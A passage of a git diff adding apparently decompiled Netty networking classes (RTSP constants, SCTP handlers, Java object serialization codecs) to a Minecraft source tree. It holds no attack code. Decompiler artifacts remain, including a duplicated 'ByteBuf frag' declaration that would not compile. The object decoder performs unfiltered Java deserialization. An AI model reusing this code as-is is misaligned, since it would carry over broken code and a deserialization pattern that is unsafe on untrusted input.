+  public static final HttpResponseStatus RTSP_VERSION_NOT_SUPPORTED = new HttpResponseStatus(505, "RTSP Version not supported");
+  
+
+
+
+
+  public static final HttpResponseStatus OPTION_NOT_SUPPORTED = new HttpResponseStatus(551, "Option not supported");
+  
+
+
+
+
+
+  public static HttpResponseStatus valueOf(int code)
+  {
+    switch (code) {
+    case 250:  return LOW_STORAGE_SPACE;
+    case 302:  return MOVED_TEMPORARILY;
+    case 451:  return PARAMETER_NOT_UNDERSTOOD;
+    case 452:  return CONFERENCE_NOT_FOUND;
+    case 453:  return NOT_ENOUGH_BANDWIDTH;
+    case 454:  return SESSION_NOT_FOUND;
+    case 455:  return METHOD_NOT_VALID;
+    case 456:  return HEADER_FIELD_NOT_VALID;
+    case 457:  return INVALID_RANGE;
+    case 458:  return PARAMETER_IS_READONLY;
+    case 459:  return AGGREGATE_OPERATION_NOT_ALLOWED;
+    case 460:  return ONLY_AGGREGATE_OPERATION_ALLOWED;
+    case 461:  return UNSUPPORTED_TRANSPORT;
+    case 462:  return DESTINATION_UNREACHABLE;
+    case 463:  return KEY_MANAGEMENT_FAILURE;
+    case 505:  return RTSP_VERSION_NOT_SUPPORTED;
+    case 551:  return OPTION_NOT_SUPPORTED; }
+    return HttpResponseStatus.valueOf(code);
+  }
+  
+  private RtspResponseStatuses() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspVersions.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspVersions.java
new file mode 100644
index 0000000..b4cdc74
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspVersions.java
@@ -0,0 +1,50 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RtspVersions
+{
+  public static final HttpVersion RTSP_1_0 = new HttpVersion("RTSP", 1, 0, true);
+  
+
+
+
+
+
+  public static HttpVersion valueOf(String text)
+  {
+    if (text == null) {
+      throw new NullPointerException("text");
+    }
+    
+    text = text.trim().toUpperCase();
+    if ("RTSP/1.0".equals(text)) {
+      return RTSP_1_0;
+    }
+    
+    return new HttpVersion(text, true);
+  }
+  
+  private RtspVersions() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/sctp/SctpInboundByteStreamHandler.java b/src/minecraft/io/netty/handler/codec/sctp/SctpInboundByteStreamHandler.java
new file mode 100644
index 0000000..2e3ad1d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/sctp/SctpInboundByteStreamHandler.java
@@ -0,0 +1,64 @@
+package io.netty.handler.codec.sctp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SctpInboundByteStreamHandler
+  extends MessageToMessageDecoder<SctpMessage>
+{
+  private final int protocolIdentifier;
+  private final int streamIdentifier;
+  
+  public SctpInboundByteStreamHandler(int protocolIdentifier, int streamIdentifier)
+  {
+    this.protocolIdentifier = protocolIdentifier;
+    this.streamIdentifier = streamIdentifier;
+  }
+  
+  public final boolean acceptInboundMessage(Object msg) throws Exception
+  {
+    if (super.acceptInboundMessage(msg)) {
+      return acceptInboundMessage((SctpMessage)msg);
+    }
+    return false;
+  }
+  
+  protected boolean acceptInboundMessage(SctpMessage msg) {
+    return (msg.protocolIdentifier() == protocolIdentifier) && (msg.streamIdentifier() == streamIdentifier);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, SctpMessage msg, List<Object> out) throws Exception
+  {
+    if (!msg.isComplete()) {
+      throw new CodecException(String.format("Received SctpMessage is not complete, please add %s in the pipeline before this handler", new Object[] { SctpMessageCompletionHandler.class.getSimpleName() }));
+    }
+    
+    out.add(msg.content().retain());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/sctp/SctpMessageCompletionHandler.java b/src/minecraft/io/netty/handler/codec/sctp/SctpMessageCompletionHandler.java
new file mode 100644
index 0000000..d3b4f14
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/sctp/SctpMessageCompletionHandler.java
@@ -0,0 +1,72 @@
+package io.netty.handler.codec.sctp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SctpMessageCompletionHandler
+  extends MessageToMessageDecoder<SctpMessage>
+{
+  private final Map<Integer, ByteBuf> fragments = new HashMap();
+  
+  public SctpMessageCompletionHandler() {}
+  
+  protected void decode(ChannelHandlerContext ctx, SctpMessage msg, List<Object> out) throws Exception { ByteBuf byteBuf = msg.content();
+    int protocolIdentifier = msg.protocolIdentifier();
+    int streamIdentifier = msg.streamIdentifier();
+    boolean isComplete = msg.isComplete();
+    ByteBuf frag;
+    ByteBuf frag;
+    if (fragments.containsKey(Integer.valueOf(streamIdentifier))) {
+      frag = (ByteBuf)fragments.remove(Integer.valueOf(streamIdentifier));
+    } else {
+      frag = Unpooled.EMPTY_BUFFER;
+    }
+    
+    if ((isComplete) && (!frag.isReadable()))
+    {
+      out.add(msg);
+    } else if ((!isComplete) && (frag.isReadable()))
+    {
+      fragments.put(Integer.valueOf(streamIdentifier), Unpooled.wrappedBuffer(new ByteBuf[] { frag, byteBuf }));
+    } else if ((isComplete) && (frag.isReadable()))
+    {
+      fragments.remove(Integer.valueOf(streamIdentifier));
+      SctpMessage assembledMsg = new SctpMessage(protocolIdentifier, streamIdentifier, Unpooled.wrappedBuffer(new ByteBuf[] { frag, byteBuf }));
+      
+
+
+      out.add(assembledMsg);
+    }
+    else {
+      fragments.put(Integer.valueOf(streamIdentifier), byteBuf);
+    }
+    byteBuf.retain();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/sctp/SctpMessageToMessageDecoder.java b/src/minecraft/io/netty/handler/codec/sctp/SctpMessageToMessageDecoder.java
new file mode 100644
index 0000000..f849f9c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/sctp/SctpMessageToMessageDecoder.java
@@ -0,0 +1,38 @@
+package io.netty.handler.codec.sctp;
+
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.MessageToMessageDecoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SctpMessageToMessageDecoder
+  extends MessageToMessageDecoder<SctpMessage>
+{
+  public SctpMessageToMessageDecoder() {}
+  
+  public boolean acceptInboundMessage(Object msg)
+    throws Exception
+  {
+    if ((msg instanceof SctpMessage)) {
+      SctpMessage sctpMsg = (SctpMessage)msg;
+      if (sctpMsg.isComplete()) {
+        return true;
+      }
+      
+      throw new CodecException(String.format("Received SctpMessage is not complete, please add %s in the pipeline before this handler", new Object[] { SctpMessageCompletionHandler.class.getSimpleName() }));
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/sctp/SctpOutboundByteStreamHandler.java b/src/minecraft/io/netty/handler/codec/sctp/SctpOutboundByteStreamHandler.java
new file mode 100644
index 0000000..cb38ca6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/sctp/SctpOutboundByteStreamHandler.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.sctp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SctpOutboundByteStreamHandler
+  extends MessageToMessageEncoder<ByteBuf>
+{
+  private final int streamIdentifier;
+  private final int protocolIdentifier;
+  
+  public SctpOutboundByteStreamHandler(int streamIdentifier, int protocolIdentifier)
+  {
+    this.streamIdentifier = streamIdentifier;
+    this.protocolIdentifier = protocolIdentifier;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out) throws Exception
+  {
+    out.add(new SctpMessage(streamIdentifier, protocolIdentifier, msg.retain()));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/CachingClassResolver.java b/src/minecraft/io/netty/handler/codec/serialization/CachingClassResolver.java
new file mode 100644
index 0000000..3072c00
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/CachingClassResolver.java
@@ -0,0 +1,45 @@
+package io.netty.handler.codec.serialization;
+
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CachingClassResolver
+  implements ClassResolver
+{
+  private final Map<String, Class<?>> classCache;
+  private final ClassResolver delegate;
+  
+  CachingClassResolver(ClassResolver delegate, Map<String, Class<?>> classCache)
+  {
+    this.delegate = delegate;
+    this.classCache = classCache;
+  }
+  
+
+  public Class<?> resolve(String className)
+    throws ClassNotFoundException
+  {
+    Class<?> clazz = (Class)classCache.get(className);
+    if (clazz != null) {
+      return clazz;
+    }
+    
+
+    clazz = delegate.resolve(className);
+    
+    classCache.put(className, clazz);
+    return clazz;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ClassLoaderClassResolver.java b/src/minecraft/io/netty/handler/codec/serialization/ClassLoaderClassResolver.java
new file mode 100644
index 0000000..fa2f97a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ClassLoaderClassResolver.java
@@ -0,0 +1,33 @@
+package io.netty.handler.codec.serialization;
+
+
+
+
+
+
+
+
+class ClassLoaderClassResolver
+  implements ClassResolver
+{
+  private final ClassLoader classLoader;
+  
+
+
+
+
+
+
+  ClassLoaderClassResolver(ClassLoader classLoader)
+  {
+    this.classLoader = classLoader;
+  }
+  
+  public Class<?> resolve(String className) throws ClassNotFoundException
+  {
+    try {
+      return classLoader.loadClass(className);
+    } catch (ClassNotFoundException ignored) {}
+    return Class.forName(className, false, classLoader);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ClassResolver.java b/src/minecraft/io/netty/handler/codec/serialization/ClassResolver.java
new file mode 100644
index 0000000..e2f8f13
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ClassResolver.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.serialization;
+
+public abstract interface ClassResolver
+{
+  public abstract Class<?> resolve(String paramString)
+    throws ClassNotFoundException;
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ClassResolvers.java b/src/minecraft/io/netty/handler/codec/serialization/ClassResolvers.java
new file mode 100644
index 0000000..dd790ae
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ClassResolvers.java
@@ -0,0 +1,102 @@
+package io.netty.handler.codec.serialization;
+
+import io.netty.util.internal.PlatformDependent;
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ClassResolvers
+{
+  public static ClassResolver cacheDisabled(ClassLoader classLoader)
+  {
+    return new ClassLoaderClassResolver(defaultClassLoader(classLoader));
+  }
+  
+
+
+
+
+
+
+  public static ClassResolver weakCachingResolver(ClassLoader classLoader)
+  {
+    return new CachingClassResolver(new ClassLoaderClassResolver(defaultClassLoader(classLoader)), new WeakReferenceMap(new HashMap()));
+  }
+  
+
+
+
+
+
+
+
+
+  public static ClassResolver softCachingResolver(ClassLoader classLoader)
+  {
+    return new CachingClassResolver(new ClassLoaderClassResolver(defaultClassLoader(classLoader)), new SoftReferenceMap(new HashMap()));
+  }
+  
+
+
+
+
+
+
+
+
+  public static ClassResolver weakCachingConcurrentResolver(ClassLoader classLoader)
+  {
+    return new CachingClassResolver(new ClassLoaderClassResolver(defaultClassLoader(classLoader)), new WeakReferenceMap(PlatformDependent.newConcurrentHashMap()));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static ClassResolver softCachingConcurrentResolver(ClassLoader classLoader)
+  {
+    return new CachingClassResolver(new ClassLoaderClassResolver(defaultClassLoader(classLoader)), new SoftReferenceMap(PlatformDependent.newConcurrentHashMap()));
+  }
+  
+
+
+  static ClassLoader defaultClassLoader(ClassLoader classLoader)
+  {
+    if (classLoader != null) {
+      return classLoader;
+    }
+    
+    ClassLoader contextClassLoader = PlatformDependent.getContextClassLoader();
+    if (contextClassLoader != null) {
+      return contextClassLoader;
+    }
+    
+    return PlatformDependent.getClassLoader(ClassResolvers.class);
+  }
+  
+  private ClassResolvers() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/CompactObjectInputStream.java b/src/minecraft/io/netty/handler/codec/serialization/CompactObjectInputStream.java
new file mode 100644
index 0000000..9b20834
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/CompactObjectInputStream.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.serialization;
+
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectStreamClass;
+import java.io.StreamCorruptedException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CompactObjectInputStream
+  extends ObjectInputStream
+{
+  private final ClassResolver classResolver;
+  
+  CompactObjectInputStream(InputStream in, ClassResolver classResolver)
+    throws IOException
+  {
+    super(in);
+    this.classResolver = classResolver;
+  }
+  
+  protected void readStreamHeader() throws IOException
+  {
+    int version = readByte() & 0xFF;
+    if (version != 5) {
+      throw new StreamCorruptedException("Unsupported version: " + version);
+    }
+  }
+  
+
+  protected ObjectStreamClass readClassDescriptor()
+    throws IOException, ClassNotFoundException
+  {
+    int type = read();
+    if (type < 0) {
+      throw new EOFException();
+    }
+    switch (type) {
+    case 0: 
+      return super.readClassDescriptor();
+    case 1: 
+      String className = readUTF();
+      Class<?> clazz = classResolver.resolve(className);
+      return ObjectStreamClass.lookupAny(clazz);
+    }
+    throw new StreamCorruptedException("Unexpected class descriptor type: " + type);
+  }
+  
+  protected Class<?> resolveClass(ObjectStreamClass desc)
+    throws IOException, ClassNotFoundException
+  {
+    Class<?> clazz;
+    try
+    {
+      clazz = classResolver.resolve(desc.getName());
+    } catch (ClassNotFoundException ignored) {
+      clazz = super.resolveClass(desc);
+    }
+    
+    return clazz;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/CompactObjectOutputStream.java b/src/minecraft/io/netty/handler/codec/serialization/CompactObjectOutputStream.java
new file mode 100644
index 0000000..ec48336
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/CompactObjectOutputStream.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.serialization;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.ObjectStreamClass;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CompactObjectOutputStream
+  extends ObjectOutputStream
+{
+  static final int TYPE_FAT_DESCRIPTOR = 0;
+  static final int TYPE_THIN_DESCRIPTOR = 1;
+  
+  CompactObjectOutputStream(OutputStream out)
+    throws IOException
+  {
+    super(out);
+  }
+  
+  protected void writeStreamHeader() throws IOException
+  {
+    writeByte(5);
+  }
+  
+  protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException
+  {
+    Class<?> clazz = desc.forClass();
+    if ((clazz.isPrimitive()) || (clazz.isArray()) || (clazz.isInterface()) || (desc.getSerialVersionUID() == 0L))
+    {
+      write(0);
+      super.writeClassDescriptor(desc);
+    } else {
+      write(1);
+      writeUTF(desc.getName());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/CompatibleObjectEncoder.java b/src/minecraft/io/netty/handler/codec/serialization/CompatibleObjectEncoder.java
new file mode 100644
index 0000000..dbf04ad
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/CompatibleObjectEncoder.java
@@ -0,0 +1,103 @@
+package io.netty.handler.codec.serialization;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompatibleObjectEncoder
+  extends MessageToByteEncoder<Serializable>
+{
+  private static final AttributeKey<ObjectOutputStream> OOS = AttributeKey.valueOf(CompatibleObjectEncoder.class.getName() + ".OOS");
+  
+
+  private final int resetInterval;
+  
+  private int writtenObjects;
+  
+
+  public CompatibleObjectEncoder()
+  {
+    this(16);
+  }
+  
+
+
+
+
+
+
+
+
+  public CompatibleObjectEncoder(int resetInterval)
+  {
+    if (resetInterval < 0) {
+      throw new IllegalArgumentException("resetInterval: " + resetInterval);
+    }
+    
+    this.resetInterval = resetInterval;
+  }
+  
+
+
+
+  protected ObjectOutputStream newObjectOutputStream(OutputStream out)
+    throws Exception
+  {
+    return new ObjectOutputStream(out);
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, Serializable msg, ByteBuf out) throws Exception
+  {
+    Attribute<ObjectOutputStream> oosAttr = ctx.attr(OOS);
+    ObjectOutputStream oos = (ObjectOutputStream)oosAttr.get();
+    if (oos == null) {
+      oos = newObjectOutputStream(new ByteBufOutputStream(out));
+      ObjectOutputStream newOos = (ObjectOutputStream)oosAttr.setIfAbsent(oos);
+      if (newOos != null) {
+        oos = newOos;
+      }
+    }
+    
+    synchronized (oos) {
+      if (resetInterval != 0)
+      {
+        writtenObjects += 1;
+        if (writtenObjects % resetInterval == 0) {
+          oos.reset();
+        }
+      }
+      
+      oos.writeObject(msg);
+      oos.flush();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoder.java b/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoder.java
new file mode 100644
index 0000000..7b72cec
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoder.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.serialization;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.LengthFieldBasedFrameDecoder;
+import java.io.ObjectInputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ObjectDecoder
+  extends LengthFieldBasedFrameDecoder
+{
+  private final ClassResolver classResolver;
+  
+  public ObjectDecoder(ClassResolver classResolver)
+  {
+    this(1048576, classResolver);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ObjectDecoder(int maxObjectSize, ClassResolver classResolver)
+  {
+    super(maxObjectSize, 0, 4, 0, 4);
+    this.classResolver = classResolver;
+  }
+  
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf in) throws Exception
+  {
+    ByteBuf frame = (ByteBuf)super.decode(ctx, in);
+    if (frame == null) {
+      return null;
+    }
+    
+    ObjectInputStream is = new CompactObjectInputStream(new ByteBufInputStream(frame), classResolver);
+    Object result = is.readObject();
+    is.close();
+    return result;
+  }
+  
+  protected ByteBuf extractFrame(ChannelHandlerContext ctx, ByteBuf buffer, int index, int length)
+  {
+    return buffer.slice(index, length);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoderInputStream.java b/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoderInputStream.java
new file mode 100644
index 0000000..9bcb984
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ObjectDecoderInputStream.java
@@ -0,0 +1,243 @@
+package io.netty.handler.codec.serialization;
+
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInput;
+import java.io.StreamCorruptedException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ObjectDecoderInputStream
+  extends InputStream
+  implements ObjectInput
+{
+  private final DataInputStream in;
+  private final int maxObjectSize;
+  private final ClassResolver classResolver;
+  
+  public ObjectDecoderInputStream(InputStream in)
+  {
+    this(in, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ObjectDecoderInputStream(InputStream in, ClassLoader classLoader)
+  {
+    this(in, classLoader, 1048576);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ObjectDecoderInputStream(InputStream in, int maxObjectSize)
+  {
+    this(in, null, maxObjectSize);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ObjectDecoderInputStream(InputStream in, ClassLoader classLoader, int maxObjectSize)
+  {
+    if (in == null) {
+      throw new NullPointerException("in");
+    }
+    if (maxObjectSize <= 0) {
+      throw new IllegalArgumentException("maxObjectSize: " + maxObjectSize);
+    }
+    if ((in instanceof DataInputStream)) {
+      this.in = ((DataInputStream)in);
+    } else {
+      this.in = new DataInputStream(in);
+    }
+    classResolver = ClassResolvers.weakCachingResolver(classLoader);
+    this.maxObjectSize = maxObjectSize;
+  }
+  
+  public Object readObject() throws ClassNotFoundException, IOException
+  {
+    int dataLen = readInt();
+    if (dataLen <= 0) {
+      throw new StreamCorruptedException("invalid data length: " + dataLen);
+    }
+    if (dataLen > maxObjectSize) {
+      throw new StreamCorruptedException("data length too big: " + dataLen + " (max: " + maxObjectSize + ')');
+    }
+    
+
+    return new CompactObjectInputStream(in, classResolver).readObject();
+  }
+  
+  public int available() throws IOException
+  {
+    return in.available();
+  }
+  
+  public void close() throws IOException
+  {
+    in.close();
+  }
+  
+  public void mark(int readlimit)
+  {
+    in.mark(readlimit);
+  }
+  
+  public boolean markSupported()
+  {
+    return in.markSupported();
+  }
+  
+  public int read() throws IOException
+  {
+    return in.read();
+  }
+  
+  public final int read(byte[] b, int off, int len) throws IOException
+  {
+    return in.read(b, off, len);
+  }
+  
+  public final int read(byte[] b) throws IOException
+  {
+    return in.read(b);
+  }
+  
+  public final boolean readBoolean() throws IOException
+  {
+    return in.readBoolean();
+  }
+  
+  public final byte readByte() throws IOException
+  {
+    return in.readByte();
+  }
+  
+  public final char readChar() throws IOException
+  {
+    return in.readChar();
+  }
+  
+  public final double readDouble() throws IOException
+  {
+    return in.readDouble();
+  }
+  
+  public final float readFloat() throws IOException
+  {
+    return in.readFloat();
+  }
+  
+  public final void readFully(byte[] b, int off, int len) throws IOException
+  {
+    in.readFully(b, off, len);
+  }
+  
+  public final void readFully(byte[] b) throws IOException
+  {
+    in.readFully(b);
+  }
+  
+  public final int readInt() throws IOException
+  {
+    return in.readInt();
+  }
+  
+
+
+  @Deprecated
+  public final String readLine()
+    throws IOException
+  {
+    return in.readLine();
+  }
+  
+  public final long readLong() throws IOException
+  {
+    return in.readLong();
+  }
+  
+  public final short readShort() throws IOException
+  {
+    return in.readShort();
+  }
+  
+  public final int readUnsignedByte() throws IOException
+  {
+    return in.readUnsignedByte();
+  }
+  
+  public final int readUnsignedShort() throws IOException
+  {
+    return in.readUnsignedShort();
+  }
+  
+  public final String readUTF() throws IOException
+  {
+    return in.readUTF();
+  }
+  
+  public void reset() throws IOException
+  {
+    in.reset();
+  }
+  
+  public long skip(long n) throws IOException
+  {
+    return in.skip(n);
+  }
+  
+  public final int skipBytes(int n) throws IOException
+  {
+    return in.skipBytes(n);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoder.java b/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoder.java
new file mode 100644
index 0000000..35d8d46
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoder.java
@@ -0,0 +1,55 @@
+package io.netty.handler.codec.serialization;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ObjectEncoder
+  extends MessageToByteEncoder<Serializable>
+{
+  private static final byte[] LENGTH_PLACEHOLDER = new byte[4];
+  
+  public ObjectEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, Serializable msg, ByteBuf out) throws Exception { int startIdx = out.writerIndex();
+    
+    ByteBufOutputStream bout = new ByteBufOutputStream(out);
+    bout.write(LENGTH_PLACEHOLDER);
+    ObjectOutputStream oout = new CompactObjectOutputStream(bout);
+    oout.writeObject(msg);
+    oout.flush();
+    oout.close();
+    
+    int endIdx = out.writerIndex();
+    
+    out.setInt(startIdx, endIdx - startIdx - 4);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoderOutputStream.java b/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoderOutputStream.java
new file mode 100644
index 0000000..d2cca15
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ObjectEncoderOutputStream.java
@@ -0,0 +1,178 @@
+package io.netty.handler.codec.serialization;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.Unpooled;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutput;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ObjectEncoderOutputStream
+  extends OutputStream
+  implements ObjectOutput
+{
+  private final DataOutputStream out;
+  private final int estimatedLength;
+  
+  public ObjectEncoderOutputStream(OutputStream out)
+  {
+    this(out, 512);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ObjectEncoderOutputStream(OutputStream out, int estimatedLength)
+  {
+    if (out == null) {
+      throw new NullPointerException("out");
+    }
+    if (estimatedLength < 0) {
+      throw new IllegalArgumentException("estimatedLength: " + estimatedLength);
+    }
+    
+    if ((out instanceof DataOutputStream)) {
+      this.out = ((DataOutputStream)out);
+    } else {
+      this.out = new DataOutputStream(out);
+    }
+    this.estimatedLength = estimatedLength;
+  }
+  
+  public void writeObject(Object obj) throws IOException
+  {
+    ByteBufOutputStream bout = new ByteBufOutputStream(Unpooled.buffer(estimatedLength));
+    ObjectOutputStream oout = new CompactObjectOutputStream(bout);
+    oout.writeObject(obj);
+    oout.flush();
+    oout.close();
+    
+    ByteBuf buffer = bout.buffer();
+    int objectSize = buffer.readableBytes();
+    writeInt(objectSize);
+    buffer.getBytes(0, this, objectSize);
+  }
+  
+  public void write(int b) throws IOException
+  {
+    out.write(b);
+  }
+  
+  public void close() throws IOException
+  {
+    out.close();
+  }
+  
+  public void flush() throws IOException
+  {
+    out.flush();
+  }
+  
+  public final int size() {
+    return out.size();
+  }
+  
+  public void write(byte[] b, int off, int len) throws IOException
+  {
+    out.write(b, off, len);
+  }
+  
+  public void write(byte[] b) throws IOException
+  {
+    out.write(b);
+  }
+  
+  public final void writeBoolean(boolean v) throws IOException
+  {
+    out.writeBoolean(v);
+  }
+  
+  public final void writeByte(int v) throws IOException
+  {
+    out.writeByte(v);
+  }
+  
+  public final void writeBytes(String s) throws IOException
+  {
+    out.writeBytes(s);
+  }
+  
+  public final void writeChar(int v) throws IOException
+  {
+    out.writeChar(v);
+  }
+  
+  public final void writeChars(String s) throws IOException
+  {
+    out.writeChars(s);
+  }
+  
+  public final void writeDouble(double v) throws IOException
+  {
+    out.writeDouble(v);
+  }
+  
+  public final void writeFloat(float v) throws IOException
+  {
+    out.writeFloat(v);
+  }
+  
+  public final void writeInt(int v) throws IOException
+  {
+    out.writeInt(v);
+  }
+  
+  public final void writeLong(long v) throws IOException
+  {
+    out.writeLong(v);
+  }
+  
+  public final void writeShort(int v) throws IOException
+  {
+    out.writeShort(v);
+  }
+  
+  public final void writeUTF(String str) throws IOException
+  {
+    out.writeUTF(str);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/serialization/ReferenceMap.java b/src/minecraft/io/netty/handler/codec/serialization/ReferenceMap.java
new file mode 100644
index 0000000..3d37ccf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/serialization/ReferenceMap.java
@@ -0,0 +1,102 @@
+package io.netty.handler.codec.serialization;
+
+import java.lang.ref.Reference;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class ReferenceMap<K, V>
+  implements Map<K, V>
+{
+  private final Map<K, Reference<V>> delegate;
+  
+  protected ReferenceMap(Map<K, Reference<V>> delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  abstract Reference<V> fold(V paramV);
+  
+  private V unfold(Reference<V> ref) {
+    if (ref == null) {
+      return null;
+    }
+    
+    return ref.get();
+  }
+  
+  public int size()
+  {
+    return delegate.size();
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegate.isEmpty();
+  }
+  
+  public boolean containsKey(Object key)
+  {
+    return delegate.containsKey(key);
+  }
+  
+  public boolean containsValue(Object value)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public V get(Object key)
+  {
+    return unfold((Reference)delegate.get(key));
+  }
+  
+  public V put(K key, V value)
+  {
+    return unfold((Reference)delegate.put(key, fold(value)));
+  }
+  
+  public V remove(Object key)
+  {
+    return unfold((Reference)delegate.remove(key));
+  }
+  
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
